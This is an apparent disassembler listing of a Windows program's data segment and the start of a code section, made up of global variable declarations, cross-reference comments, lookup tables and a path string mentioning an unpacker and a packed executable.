dword_4E5688 dd 20h dup(0) ; DATA XREF: sub_40C049+1ADo
; sub_40C049+1DFo
dword_4E5708 dd 0 ; DATA XREF: sub_40C049+1A0w
dword_4E570C dd 0 ; DATA XREF: sub_40C049+1B7w
; sub_40C049+1E9w
dword_4E5710 dd 0 ; DATA XREF: sub_40C049:loc_40C33Cr
align 8
dword_4E5718 dd 0 ; DATA XREF: sub_40C049+40Ew
; sub_40C049+467o
dword_4E571C dd 0A2h dup(0) ; DATA XREF: sub_40C049+3FCo
dword_4E59A4 dd 41h dup(0) ; DATA XREF: sub_40C049+3C6o
dword_4E5AA8 dd 0 ; DATA XREF: sub_40C049+3F3w
; sub_40C049+41Ar
align 10h
dword_4E5AB0 dd 0 ; DATA XREF: sub_40C049+45Dw
; sub_40C049+479r
dword_4E5AB4 dd 0 ; DATA XREF: sub_40C049+420w
dword_4E5AB8 dd 0 ; DATA XREF: sub_40C049+42Dw
dword_4E5ABC dd 0 ; DATA XREF: sub_40C049+3EDw
dd 0
dword_4E5AC4 dd 0 ; DATA XREF: sub_40C049:loc_40C4F7r
dword_4E5AC8 dd 0 ; DATA XREF: sub_40BC9B+Er
; sub_40BC9B+31r ...
dword_4E5ACC dd 0 ; DATA XREF: sub_40BC9B+9r
; sub_40BC9B+25r ...
dword_4E5AD0 dd 80h dup(0) ; DATA XREF: sub_40CCE8+8Do
dword_4E5CD0 dd 2 dup(0) ; DATA XREF: sub_40D667+68o
byte_4E5CD8 db 2 dup(0) ; DATA XREF: sub_40D117+13o
word_4E5CDA dw 0 ; DATA XREF: sub_40D95B+10o
dword_4E5CDC dd 2080Ah ; DATA XREF: sub_40E19F+8w
; sub_40E29B+2CCo
byte_4E5CE0 db 0 ; DATA XREF: sub_40E29B+64o
byte_4E5CE1 db 3 dup(0) ; DATA XREF: sub_40E29B+69o
dword_4E5CE4 dd 2 dup(0) ; DATA XREF: sub_40E29B+1FBo
dword_4E5CEC dd 0 ; DATA XREF: _0:0040EC69o
dword_4E5CF0 dd 0 ; DATA XREF: sub_40EE18+1Fr
; sub_40EE63+BCo ...
dword_4E5CF4 dd 0 ; DATA XREF: sub_40EE63+B7o
; sub_40EE63+DAr ...
dword_4E5CF8 dd 0 ; DATA XREF: sub_40EE63+9Ao
; sub_40EE63+CFr ...
dword_4E5CFC dd 0 ; DATA XREF: sub_40EDD5+35r
; sub_40EE63+95o ...
dword_4E5D00 dd 0 ; DATA XREF: sub_40EDD5+17r
; sub_40EE18+3Dr ...
dword_4E5D04 dd 0D220h ; DATA XREF: sub_40C049+2A1r
; sub_40F038+10w ...
dword_4E5D08 dd 0 ; DATA XREF: sub_40BD06+1Br
; sub_40F04F+27Cw
dword_4E5D0C dd 0 ; DATA XREF: sub_40F909+2Aw
; sub_40F909+51r ...
dword_4E5D10 dd 2 dup(0) ; DATA XREF: sub_4109F3+74o
dword_4E5D18 dd 0 ; DATA XREF: sub_4110D4+146r
align 10h
dword_4E5D20 dd 0 ; DATA XREF: sub_4110D4+139o
byte_4E5D24 db 0 ; DATA XREF: sub_41206F+1EFr
align 4
dword_4E5D28 dd 0 ; DATA XREF: sub_412C10+4w
; sub_412C10+9o
align 10h
byte_4E5D30 db 0 ; DATA XREF: sub_413740+1C1w
; sub_413740+2C0o
align 2
word_4E5D32 dw 0 ; DATA XREF: sub_413740+1D1w
word_4E5D34 dw 0 ; DATA XREF: sub_413740+1D7w
word_4E5D36 dw 0 ; DATA XREF: sub_413740+1DEw
byte_4E5D38 db 0 ; DATA XREF: sub_413740+1E5w
byte_4E5D39 db 0 ; DATA XREF: sub_413740+1ECw
word_4E5D3A dw 0 ; DATA XREF: sub_413740+1F2w
dword_4E5D3C dd 0 ; DATA XREF: sub_413740+220w
; sub_413740+23Ew
dword_4E5D40 dd 0 ; DATA XREF: sub_413740+246w
byte_4E5D44 db 0 ; DATA XREF: sub_413740+258w
byte_4E5D45 db 0 ; DATA XREF: sub_413740+26Bw
word_4E5D46 dw 0 ; DATA XREF: sub_413740+283w
word_4E5D48 dw 0 ; DATA XREF: sub_413740+292w
word_4E5D4A dw 0 ; DATA XREF: sub_413740+28Aw
dword_4E5D4C dd 101h dup(0) ; DATA XREF: sub_413740+2A7o
dword_4E6150 dd 80h dup(0) ; DATA XREF: sub_401C87+2F5Eo
; sub_401C87:loc_404C94o ...
byte_4E6350 db 0 ; DATA XREF: sub_414FC9+19Fw
; sub_414FC9+278o
align 2
word_4E6352 dw 0 ; DATA XREF: sub_414FC9+1ACw
word_4E6354 dw 0 ; DATA XREF: sub_414FC9+1B6w
word_4E6356 dw 0 ; DATA XREF: sub_414FC9+1BFw
byte_4E6358 db 0 ; DATA XREF: sub_414FC9+1C6w
byte_4E6359 db 0 ; DATA XREF: sub_414FC9+1CDw
word_4E635A dw 0 ; DATA XREF: sub_414FC9+1D4w
dword_4E635C dd 0 ; DATA XREF: sub_414FC9+1E1w
dword_4E6360 dd 0 ; DATA XREF: sub_414FC9+1E9w
word_4E6364 dw 0 ; DATA XREF: sub_414FC9+242w
word_4E6366 dw 0 ; DATA XREF: sub_414FC9+22Aw
word_4E6368 dw 0 ; DATA XREF: sub_414FC9+254w
word_4E636A dw 0 ; DATA XREF: sub_414FC9+1F5w
dword_4E636C dd 100h dup(0) ; DATA XREF: sub_414FC9+263o
dword_4E676C dd 0 ; DATA XREF: sub_401C87+19D4w
; sub_401C87+2F56r ...
dd 0
byte_4E6774 db 0 ; DATA XREF: sub_4154BB+237o
; sub_4154BB+246w ...
byte_4E6775 db 0 ; DATA XREF: sub_4154BB+25Aw
word_4E6776 dw 0 ; DATA XREF: sub_4154BB+28Bw
word_4E6778 dw 0 ; DATA XREF: sub_4154BB+272w
; sub_4154BB:loc_415872w
word_4E677A dw 0 ; DATA XREF: sub_4154BB+291w
byte_4E677C db 0 ; DATA XREF: sub_4154BB+27Ew
byte_4E677D db 0 ; DATA XREF: sub_4154BB+253w
word_4E677E dw 0 ; DATA XREF: sub_4154BB+3D7w
; sub_4154BB+401w
dword_4E6780 dd 0 ; DATA XREF: sub_4154BB:loc_41576Bw
; sub_4154BB+381r
dword_4E6784 dd 0 ; DATA XREF: sub_4154BB+2BDw
word_4E6788 dw 0 ; DATA XREF: sub_4154BB+37Bw
; sub_4154BB+3CDo
word_4E678A dw 0 ; DATA XREF: sub_4154BB+31Cw
; sub_4154BB+341r ...
dword_4E678C dd 0 ; DATA XREF: sub_4154BB+2F3w
; sub_4154BB+3BEw
dword_4E6790 dd 0 ; DATA XREF: sub_4154BB+30Fw
; sub_4154BB+392w ...
byte_4E6794 db 0 ; DATA XREF: sub_4154BB+2F8r
; sub_4154BB+306w
byte_4E6795 db 0 ; DATA XREF: sub_4154BB+2C2w
; sub_4154BB+38Bw ...
word_4E6796 dw 0 ; DATA XREF: sub_4154BB+2D0w
word_4E6798 dw 0 ; DATA XREF: sub_4154BB+3DEw
; sub_4154BB+40Fw
word_4E679A dw 0 ; DATA XREF: sub_4154BB+315w
word_4E679C dw 0 ; DATA XREF: sub_4154BB+347w
; sub_4154BB+417o
word_4E679E dw 0 ; DATA XREF: sub_4154BB+356w
; sub_4154BB+3EEw
dword_4E67A0 dd 0 ; DATA XREF: sub_4154BB+350w
dd 2 dup(0)
dword_4E67AC dd 0 ; DATA XREF: sub_4154BB+386w
; sub_4154BB+3FCo
dword_4E67B0 dd 0 ; DATA XREF: sub_4154BB+322w
byte_4E67B4 db 0 ; DATA XREF: sub_4154BB+328w
byte_4E67B5 db 0 ; DATA XREF: sub_4154BB+32Ew
word_4E67B6 dw 0 ; DATA XREF: sub_4154BB+33Bw
dword_4E67B8 dd 6 dup(0) ; DATA XREF: sub_4154BB+3D2o
dword_4E67D0 dd 0 ; DATA XREF: sub_4154BB+30w
; sub_4154BB+420r
align 8
dword_4E67D8 dd 100h dup(0) ; DATA XREF: sub_4154BB+1BBo
; sub_4154BB+463o
dword_4E6BD8 dd 1000h dup(0) ; DATA XREF: sub_415A3C+1Do
; _0:00415B26o ...
dword_4EABD8 dd 0 ; DATA XREF: sub_415A3C+13o
; _0:00415B6Do ...
dd 6 dup(0)
dword_4EABF4 dd 0 ; DATA XREF: sub_4165C7:loc_41665Ao
dword_4EABF8 dd 0 ; DATA XREF: sub_416D68+438o
dword_4EABFC dd 0Dh dup(0) ; DATA XREF: sub_41727E+Fo
dword_4EAC30 dd 80h dup(0) ; DATA XREF: sub_417F2F+41o
dword_4EAE30 dd 200h dup(0) ; DATA XREF: sub_41786C+C7o
; sub_417BC7+DDo ...
dword_4EB630 dd 200h dup(0) ; DATA XREF: sub_41786C+D6o
; sub_417BC7+F4o ...
dword_4EBE30 dd 0 ; DATA XREF: sub_41786C+86w
; sub_417A3E+94r
dword_4EBE34 dd 0 ; DATA XREF: sub_41786C+A7w
; sub_417E98+55r ...
dword_4EBE38 dd 0 ; DATA XREF: sub_41786C+A0w
; sub_417A3E+D6r ...
dword_4EBE3C dd 0 ; DATA XREF: sub_41786C+79w
; sub_417A3E+35r ...
dword_4EBE40 dd 80h dup(0) ; DATA XREF: sub_417E98+5Eo
dword_4EC040 dd 0 ; DATA XREF: sub_41786C+93w
; sub_417A3E+A2r
dword_4EC044 dd 0 ; DATA XREF: sub_41786C+E7o
; sub_41786C+103r ...
dword_4EC048 dd 0 ; DATA XREF: sub_417BC7+178w
; sub_417D6B+107w
dword_4EC04C dd 0 ; DATA XREF: sub_417BC7+17Dw
; sub_417D6B+10Dw ...
dword_4EC050 dd 0 ; DATA XREF: sub_417BC7+156w
; sub_417E98+4Fr
align 8
dword_4EC058 dd 0 ; DATA XREF: sub_41820B+29w
; sub_41820B:loc_41838Aw ...
dword_4EC05C dd 0 ; DATA XREF: sub_401C87+3CA2o
; sub_4180CE+12o ...
dd 0
dword_4EC064 dd 0 ; DATA XREF: sub_41820B+21r
; sub_4183AA+3Ar
dd 7Fh dup(0)
dword_4EC264 dd 0 ; DATA XREF: sub_41820B+1Br
; sub_4183AA+4Aw
dd 1944h dup(0)
byte_4F2778 db 0 ; DATA XREF: sub_4183AA+23o
; _2:0044F9E4o
byte_4F2779 db 0 ; DATA XREF: _2:0044F9E8o
byte_4F277A db 0 ; DATA XREF: _2:0044F9F0o
byte_4F277B db 0 ; DATA XREF: _2:0044F9F4o
byte_4F277C db 0 ; DATA XREF: sub_401C87+3CC0o
; sub_4180CE+3Co ...
byte_4F277D db 0 ; DATA XREF: _2:0044F9FCo
byte_4F277E db 0 ; DATA XREF: _2:0044FA18o
byte_4F277F db 0 ; DATA XREF: _2:0044FA20o
byte_4F2780 db 0 ; DATA XREF: _2:0044FA24o
byte_4F2781 db 0 ; DATA XREF: _2:0044FA30o
byte_4F2782 db 0 ; DATA XREF: _2:0044FA34o
byte_4F2783 db 0 ; DATA XREF: _2:0044FA3Co
align 8
dword_4F2788 dd 80h dup(0) ; DATA XREF: sub_418C20+6Ao
dword_4F2988 dd 2 dup(0) ; DATA XREF: sub_418EAE+E9o
dword_4F2990 dd 18h dup(0) ; DATA XREF: sub_419479:loc_419596o
; sub_419479+131o ...
dword_4F29F0 dd 80h dup(0) ; DATA XREF: sub_41A20B+7Co
; sub_41A20B+A5o
dword_4F2BF0 dd 0 ; DATA XREF: sub_4197F6+45w
; sub_4197F6+4Dr ...
align 8
dword_4F2BF8 dd 18h dup(0) ; DATA XREF: sub_41A0D7:loc_41A1F9o
; sub_41A0D7+12Do
dword_4F2C58 dd 80h dup(0) ; DATA XREF: sub_419737+4Bo
; sub_419737+7Do ...
byte_4F2E58 db 0 ; DATA XREF: sub_4197F6+29r
; sub_4197F6+34w
align 10h
dword_4F2E60 dd 80h dup(0) ; DATA XREF: sub_419A4D+61o
; sub_419A4D+88o ...
dword_4F3060 dd 80h dup(0) ; DATA XREF: sub_419350+33o
; sub_419350+50o ...
dword_4F3260 dd 0 ; DATA XREF: sub_41A6A9:loc_41A6CAr
; sub_41A798+54r ...
dword_4F3264 dd 0 ; DATA XREF: sub_41A6A9r
; sub_41A798+37r ...
dword_4F3268 dd 0 ; DATA XREF: sub_41A6D9+1Ar
; sub_41A8ED+83o
dword_4F326C dd 0 ; DATA XREF: sub_41A6A9:loc_41A6BDr
; sub_41A8ED+11Bw
dword_4F3270 dd 0Dh dup(0) ; DATA XREF: sub_41A798+13o
; sub_41A8ED:loc_41AA2Eo
dword_4F32A4 dd 0 ; DATA XREF: sub_41A798+CDr
; sub_41A798+ECr ...
byte_4F32A8 db 0 ; DATA XREF: sub_41A711+9o
byte_4F32A9 db 0 ; DATA XREF: sub_41A8ED+DFo
word_4F32AA dw 0 ; DATA XREF: sub_41A8ED:loc_41AA29o
dword_4F32AC dd 0Ch dup(0) ; DATA XREF: sub_41B51B+3Eo
db 2 dup(0)
word_4F32DE dw 0 ; DATA XREF: sub_41B6C1+13o
dword_4F32E0 dd 0AA1E90h ; DATA XREF: sub_41BF80+262w
; sub_41C3F0:loc_41C82Br ...
dword_4F32E4 dd 1545h ; DATA XREF: sub_41BF80:loc_41C193r
; sub_41BF80+21Cw ...
dword_4F32E8 dd 0AA3230h ; DATA XREF: sub_41BF80:loc_41C1C9r
; sub_41BF80+252r ...
dword_4F32EC dd 118Ah ; DATA XREF: sub_41BF80+222r
; sub_41BF80+22Aw ...
dword_4F32F0 dd 118Ah ; DATA XREF: sub_41BF80+235r
; sub_41BF80+243w ...
dword_4F32F4 dd 0 ; DATA XREF: sub_4314E0+217r
dword_4F32F8 dd 0A28h ; DATA XREF: sub_41D6B0:loc_41D71Ar
; sub_41D6B0:loc_41D78Dr ...
dword_4F32FC dd 501h ; DATA XREF: _0:00422164w
dword_4F3300 dd 5 ; DATA XREF: _0:0042214Fw _0:00422155r
dword_4F3304 dd 1 ; DATA XREF: _0:0042213Ew _0:0042215Er
dword_4F3308 dd 1 ; DATA XREF: sub_401404:loc_4016E7r
; sub_42F3E0+C6w
dword_4F330C dd 0AA2840h ; DATA XREF: sub_401404+2ECr
; sub_401404+30Cr ...
dd 0
dword_4F3314 dd 0AA2888h ; DATA XREF: sub_42F290+7Bw
; sub_42F290+81r ...
dword_4F3318 dd 0 ; DATA XREF: sub_439F20+49r
dword_4F331C dd 0 ; DATA XREF: sub_4374C0+24r
; sub_4396D0+6r ...
dd 0
off_4F3324 dd offset aCM_unpackerPac ; DATA XREF: sub_42F3E0+26w
; sub_42F3E0+3Cr
; "C:\\m_unpacker\\packed.exe"
dd 0
byte_4F332C db 0 ; DATA XREF: sub_41E920+30w
; sub_422400+8r
align 10h
dword_4F3330 dd 0 ; DATA XREF: sub_41E920:loc_41E943w
dword_4F3334 dd 0 ; DATA XREF: sub_41E920+9r
; sub_41E920:loc_41E9EBw
dword_4F3338 dd 0 ; DATA XREF: sub_41E920+95r
; sub_41E920+AFw
dword_4F333C dd 0 ; DATA XREF: _0:004201C4r _0:004201CFw
dword_4F3340 dd 0 ; DATA XREF: sub_420130+10w
align 8
dword_4F3348 dd 0 ; DATA XREF: sub_420D80+88r
; sub_420D80+F8w
align 10h
dword_4F3350 dd 0 ; DATA XREF: sub_420D80+7Dr
; sub_420D80+100w ...
byte_4F3354 db 2 dup(0) ; DATA XREF: sub_420D80+109w
word_4F3356 dw 0 ; DATA XREF: sub_420D80+52r
dword_4F3358 dd 0 ; DATA XREF: sub_420D80+3Dr
; sub_420D80+112w ...
dword_4F335C dd 0 ; DATA XREF: sub_420D80+11Aw
dword_4F3360 dd 0 ; DATA XREF: _0:004221C3w
; sub_42F290+1Br ...
align 8
dword_4F3368 dd 0 ; DATA XREF: sub_422270+3r
; sub_4222A0+3r ...
dword_4F336C dd 0 ; DATA XREF: sub_4277D0:loc_427A95r
; sub_4277D0+2CEw ...
dword_4F3370 dd 0 ; DATA XREF: sub_422610+93r
; sub_422610+C8w ...
dword_4F3374 dd 0 ; DATA XREF: sub_41BE40+Ar
; sub_41BE70+10r ...
dword_4F3378 dd 0 ; DATA XREF: _0:0042313Er _0:00423149w ...
align 10h
dword_4F3380 dd 144D08h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: _2:off_451AF4o
byte_4F3398 db 90h ; DATA XREF: _2:off_451B34o
db 4Ch, 14h, 0
dd 0FFFFFFFFh, 4 dup(0)
dword_4F33B0 dd 144CE0h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: _2:off_451B14o
dword_4F33C8 dd 144CB8h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: _2:off_451B24o
dword_4F33E0 dd 0 ; DATA XREF: sub_425FB0+8Br
; sub_425FB0+93w ...
dword_4F33E4 dd 1 ; DATA XREF: sub_4290B0:loc_4293C2r
; sub_429400+3w ...
dword_4F33E8 dd 0 ; DATA XREF: sub_429C90+A6r
; sub_429C90+C9w ...
align 10h
dword_4F33F0 dd 0 ; DATA XREF: sub_420F10+Co
; sub_42DE80+82r ...
align 8
dword_4F33F8 dd 0 ; DATA XREF: sub_421620+Dr
; sub_421620:loc_4216B6r ...
dword_4F33FC dd 0 ; DATA XREF: sub_434620+4r
dword_4F3400 dd 0 ; DATA XREF: sub_4342F0+18r
dword_4F3404 dd 0 ; DATA XREF: sub_433970+4r
dword_4F3408 dd 0 ; DATA XREF: sub_421F10+B9r
; sub_421F10+16Cr ...
dword_4F340C dd 0 ; DATA XREF: sub_42DE80+11Fw
dword_4F3410 dd 0 ; DATA XREF: sub_42E120+C7o
; sub_42E120+140o
word_4F3414 dw 0 ; DATA XREF: sub_42E120+E8r
align 4
dword_4F3418 dd 0 ; DATA XREF: sub_42E120+EFw
; sub_42E120+159o
dword_4F341C dd 1 ; DATA XREF: sub_42EC50+26r
; sub_42EC50+4Bw ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_42F3E0+19o
; sub_42F3E0+26o ...
align 4
dd 3Ah dup(0)
dword_4F3524 dd 1 ; DATA XREF: sub_42F8F0+14r
; sub_42F8F0+2Cw ...
dword_4F3528 dd 0 ; DATA XREF: sub_42FEE0+2Br
; sub_42FEE0+34r
dword_4F352C dd 0 ; DATA XREF: _0:loc_4305C6r
; _0:004305D2w ...
dword_4F3530 dd 0 ; DATA XREF: _0:loc_4305DAr
; _0:004305E5w ...
dword_4F3534 dd 0 ; DATA XREF: _0:loc_4305EDr
; _0:004305F9w ...
dword_4F3538 dd 0 ; DATA XREF: _0:loc_430600r
; _0:0043060Cw ...
dword_4F353C dd 0 ; DATA XREF: _0:loc_43055Ar
; _0:00430575w
dword_4F3540 dd 0 ; DATA XREF: sub_430AA0+Dr
; sub_430AA0+39w ...
dword_4F3544 dd 0 ; DATA XREF: sub_430AA0+5Aw
; sub_430AA0:loc_430B13r ...
dword_4F3548 dd 0 ; DATA XREF: sub_430AA0+6Ew
; sub_430AA0+8Br ...
dword_4F354C dd 1 ; DATA XREF: sub_431210+26r
; sub_431210+46w ...
dword_4F3550 dd 0 ; DATA XREF: sub_4277D0+9r
dword_4F3554 dd 77C26E79h ; DATA XREF: sub_432EE0:loc_432F0Er
; sub_432EE0+37r ...
dword_4F3558 dd 0 ; DATA XREF: sub_433090+17w
; sub_433090+6Dw ...
align 10h
dword_4F3560 dd 0 ; DATA XREF: sub_433090+59o
; sub_433090+77r
dword_4F3564 dd 10h dup(0) ; DATA XREF: sub_433090+103o
word_4F35A4 dw 0 ; DATA XREF: sub_433470+FCr
word_4F35A6 dw 0 ; DATA XREF: sub_433090+88r
; sub_433470+145r ...
word_4F35A8 dw 0 ; DATA XREF: sub_433470+132r
word_4F35AA dw 0 ; DATA XREF: sub_433470+13Br
; sub_433470+18Br
word_4F35AC dw 0 ; DATA XREF: sub_433470+126r
; sub_433470+181r
word_4F35AE dw 0 ; DATA XREF: sub_433470+11Cr
; sub_433470+177r
word_4F35B0 dw 0 ; DATA XREF: sub_433470+113r
; sub_433470+16Er
word_4F35B2 dw 0 ; DATA XREF: sub_433470+109r
; sub_433470+164r
dword_4F35B4 dd 0 ; DATA XREF: sub_433090+93r
; sub_433090+CEr
dword_4F35B8 dd 10h dup(0) ; DATA XREF: sub_433090+149o
word_4F35F8 dw 0 ; DATA XREF: sub_433470+43r
word_4F35FA dw 0 ; DATA XREF: sub_433090+ABr
; sub_433470+8Cr ...
word_4F35FC dw 0 ; DATA XREF: sub_433470+79r
word_4F35FE dw 0 ; DATA XREF: sub_433470+82r
; sub_433470+D2r
word_4F3600 dw 0 ; DATA XREF: sub_433470+6Dr
; sub_433470+C8r
word_4F3602 dw 0 ; DATA XREF: sub_433470+63r
; sub_433470+BEr
word_4F3604 dw 0 ; DATA XREF: sub_433470+5Ar
; sub_433470+B5r
word_4F3606 dw 0 ; DATA XREF: sub_433470+50r
; sub_433470+ABr
dword_4F3608 dd 0 ; DATA XREF: sub_433090+B6r
; sub_433090+C9r
dword_4F360C dd 0 ; DATA XREF: sub_433090+18Dr
; sub_433090+196r ...
dword_4F3610 dd 0 ; DATA XREF: sub_433030+3r
; sub_433030+16r ...
dword_4F3614 dd 0 ; DATA XREF: sub_433970+75r
; sub_433970+86r ...
dword_4F3618 dd 0 ; DATA XREF: sub_4342F0+25o
; sub_4342F0+93r ...
dword_4F361C dd 0 ; DATA XREF: sub_4342F0+42o
; sub_4342F0+A3r ...
dword_4F3620 dd 0 ; DATA XREF: sub_4342F0+5Fo
; sub_4342F0+7Cr ...
dword_4F3624 dd 0 ; DATA XREF: sub_434620+A0r
; sub_434620+B1r ...
dword_4F3628 dd 0 ; DATA XREF: sub_434A80+2AAr
; sub_434A80+2B5r ...
dword_4F362C dd 0 ; DATA XREF: sub_434A80+2CCr
; sub_434A80+2D7r ...
dword_4F3630 dd 3 dup(0) ; DATA XREF: sub_42DE80+94o
; sub_42DE80+F3o
word_4F363C dw 0 ; DATA XREF: sub_434A80+36r
align 10h
dd 0
word_4F3644 dw 0 ; DATA XREF: sub_434750+Fr
align 4
db 2 dup(0)
word_4F364A dw 0 ; DATA XREF: sub_4342F0+Fr
db 2 dup(0)
word_4F364E dw 0 ; DATA XREF: sub_433A50+Fr
word_4F3650 dw 0 ; DATA XREF: sub_433A50+1Ar
align 4
dword_4F3654 dd 0 ; DATA XREF: sub_434EB0+155r
; sub_434EB0+176r ...
dword_4F3658 dd 0 ; DATA XREF: sub_435140+37w
; sub_435200+1Br ...
dword_4F365C dd 0 ; DATA XREF: sub_435140+6Ew
; sub_435200+101r ...
dword_4F3660 dd 0 ; DATA XREF: sub_435140+1Aw
; sub_435140+47r ...
dword_4F3664 dd 0 ; DATA XREF: sub_434EB0+45w
; sub_434EB0+4Br ...
dword_4F3668 dd 0 ; DATA XREF: sub_434EB0+7Aw
; sub_434EB0+80r ...
dword_4F366C dd 0 ; DATA XREF: sub_434EB0:loc_434F59w
; sub_434EB0:loc_434FBEr ...
dword_4F3670 dd 0 ; DATA XREF: sub_434EB0+182r
; sub_434EB0+1CBr ...
dword_4F3674 dd 0 ; DATA XREF: sub_434EB0+6r
; sub_434EB0+2Cw ...
dword_4F3678 dd 0 ; DATA XREF: sub_4314E0:loc_43153Cr
byte_4F367C db 0 ; DATA XREF: sub_438A00+18Fo
; sub_438A00+1F2r ...
align 10h
dd 0
dword_4F3684 dd 0 ; DATA XREF: sub_4349E0+11o
; _2:off_454DECo ...
dword_4F3688 dd 0 ; DATA XREF: sub_438CA0+26r
; sub_438CA0+46w ...
dword_4F368C dd 0 ; DATA XREF: sub_439780+26r
; sub_439780+41w ...
dword_4F3690 dd 0 ; DATA XREF: sub_439920+26r
; sub_439920+41w ...
dword_4F3694 dd 0 ; DATA XREF: sub_439AD0+26r
; sub_439AD0+4Bw ...
dword_4F3698 dd 0 ; DATA XREF: sub_43B420+26r
; sub_43B420+4Bw ...
byte_4F369C db 1 ; DATA XREF: sub_40E188r sub_40E188+9w
align 10h
dword_4F36A0 dd 0 ; DATA XREF: sub_437B80+90w
; sub_437B80+A5w ...
dword_4F36A4 dd 0 ; DATA XREF: sub_437D10+1C4w
; sub_437D10+1EDw ...
dd 6 dup(0)
dword_4F36C0 dd 0AA1F58h ; DATA XREF: sub_4222D0+EDr
; sub_4222D0+109r ...
dd 3Fh dup(0)
dword_4F37C0 dd 20h ; DATA XREF: sub_422CB0+7r
; sub_4272F0+7r ...
dword_4F37C4 dd 0 ; DATA XREF: sub_420F10+5Ar
; sub_421620+68r ...
dword_4F37C8 dd 0 ; DATA XREF: sub_420F10:loc_420F63w
; sub_420F10:loc_420F77w ...
dword_4F37CC dd 4E4h ; DATA XREF: sub_4290B0+22r
; sub_4290B0+14Aw ...
word_4F37D0 dw 0 ; DATA XREF: sub_4290B0+19Aw
; sub_4290B0+2F3w ...
align 4
dd 2 dup(0)
dword_4F37DC dd 0 ; DATA XREF: sub_4290B0+150w
; sub_4290B0+2C2w ...
byte_4F37E0 db 0 ; DATA XREF: sub_429560+1CEw
; sub_429560+21Aw ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_4F38E0 db 0 ; DATA XREF: sub_4290B0+ABw
; sub_4290B0+1F4w ...
byte_4F38E1 db 0 ; DATA XREF: sub_41ED30+92r
; sub_4290B0+129r ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_4F39E4 dd 0 ; DATA XREF: sub_4290B0+169w
; sub_4290B0+205w ...
dword_4F39E8 dd 0AA0000h ; DATA XREF: sub_41D6B0+8Dr
; sub_41D6B0+FBr ...
dword_4F39EC dd 1 ; DATA XREF: sub_41D6B0:loc_41D6E1r
; sub_41D6B0:loc_41D74Er ...
dword_4F39F0 dd 0 ; DATA XREF: sub_424080+51w
; sub_424CD0+9r ...
dword_4F39F4 dd 0 ; DATA XREF: sub_4241B0+484r
; sub_4241B0+4B3r ...
dword_4F39F8 dd 0 ; DATA XREF: sub_424080+37w
; sub_4241B0+5C1w ...
align 10h
dword_4F3A00 dd 0 ; DATA XREF: sub_424080+3Dw
; sub_4241B0+477r ...
dword_4F3A04 dd 0 ; DATA XREF: sub_424080+47w
; sub_4240F0+6r ...
dword_4F3A08 dd 0 ; DATA XREF: sub_424080+16w
; sub_424080+1Br ...
dword_4F3A0C dd 0 ; DATA XREF: sub_4234C0+2Fr
; sub_423620+6Dr ...
dword_4F3A10 dd 0 ; DATA XREF: _0:004225F4r _0:004225FFw ...
dword_4F3A14 dd 0AA3250h ; DATA XREF: sub_4222D0+48w
; sub_4222D0+4Dr ...
align 10h
dword_4F3A20 dd 400h dup(0) ; DATA XREF: _2:off_451848o
; _2:00451850o
dword_4F4A20 dd 200h ; DATA XREF: sub_4222D0+4r
; sub_4222D0+Dw ...
dword_4F4A24 dd 142340h ; DATA XREF: _0:004221B9w
; sub_42F1D0:loc_42F1E2r ...
dword_4F4A28 dd 1 ; DATA XREF: sub_42F290+13Bw
; sub_4374C0+Er
dword_4F4A2C dd 1 ; DATA XREF: sub_429890+3r
; sub_429890+16w ...
dword_4F4A30 dd 0AA241Ch ; DATA XREF: sub_41E920+45r
; sub_420C50+19r ...
dword_4F4A34 dd 0AA2410h ; DATA XREF: sub_41E920+3Cr
; sub_41E920+5Ar ...
dword_4F4A38 dd 0 ; DATA XREF: _0:0041D914r _0:0041D91Fw ...
byte_4F4A3C db 1 ; DATA XREF: sub_43A8E0+5r
; sub_43A8E0+11r ...
_2 ends
; Section 4. (virtual address 000F5000)
; Virtual size : 00000F4E ( 3918.)
; Section size in file : 00000F4E ( 3918.)
; Offset to raw data for section: 000F5000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_3 segment para public 'CODE' use32
assume cs:_3
;org 4F5000h
assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing
dd 0F5270h, 0FFFFFFFEh, 0
dd 0F556Eh, 0F54F4h, 0F5278h, 0FFFFFFFEh, 0
dd 0F5584h, 0F54FCh, 0F5050h, 0FFFFFFFEh, 0
dd 0F5F40h, 0F52D4h, 5 dup(0)
dd 0F598Eh, 0F5F26h, 0F5F14h, 0F5F02h, 0F5EF0h, 0F5EE0h
dd 0F5ECAh, 0F5EB4h, 0F5EA2h, 0F5E92h, 0F5E82h, 0F5E64h
dd 0F5E52h, 0F5E40h, 0F5E2Ch, 0F5E1Ch, 0F5E0Eh, 0F5DFCh
dd 0F5DE2h, 0F5DCAh, 0F5DB0h, 0F5D96h, 0F5D7Ah, 0F5D6Ah
dd 0F5D5Ah, 0F5590h, 0F559Eh, 0F55ACh, 0F55BEh, 0F55D4h
dd 0F55EAh, 0F55F2h, 0F5602h, 0F5610h, 0F561Eh, 0F5634h
dd 0F5644h, 0F5650h, 0F5666h, 0F567Ch, 0F5690h, 0F56A6h
